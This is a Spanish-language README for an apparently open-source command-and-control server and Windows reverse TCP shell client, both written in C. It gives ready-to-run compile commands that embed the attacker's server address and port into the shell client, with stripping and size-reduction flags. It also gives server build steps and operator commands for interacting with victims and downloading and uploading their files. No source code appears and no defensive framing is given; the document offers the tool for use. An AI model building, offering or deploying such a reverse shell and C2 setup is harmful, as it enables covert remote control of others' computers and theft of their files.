
Multihilo, multiplataforma (Linux/Windows) servidor c2 y cliente de shell TCP inversa para Windows, ambos escritos en C.
Servidor c2 multi-hilo, multi-sistema/plataforma (Linux/Windows) y cliente de shell TCP inversa para Windows, ambos escritos en C.
Compilando el cliente de shell TCP inversa con i686-w64-mingw32-gcc:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Compilando la shell TCP inversa con cl.exe en el Símbolo del sistema para desarrolladores:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
Compilando el servidor Linux con GCC:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Compilando el servidor Windows con cl.exe en el Símbolo del sistema para desarrolladores:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
Lista de comandos:
list: listar las conexiones disponibles.
interact [id]: interactuar con el cliente.
download [nombre_archivo]: descargar un archivo del sistema de archivos del cliente al sistema de archivos del servidor.
upload [nombre_archivo]: subir un archivo del sistema de archivos del servidor al sistema de archivos del cliente.
background: poner el cliente en segundo plano.
exit: terminar el cliente o el host.
cd [directorio]: cambiar el directorio en el cliente o en el host.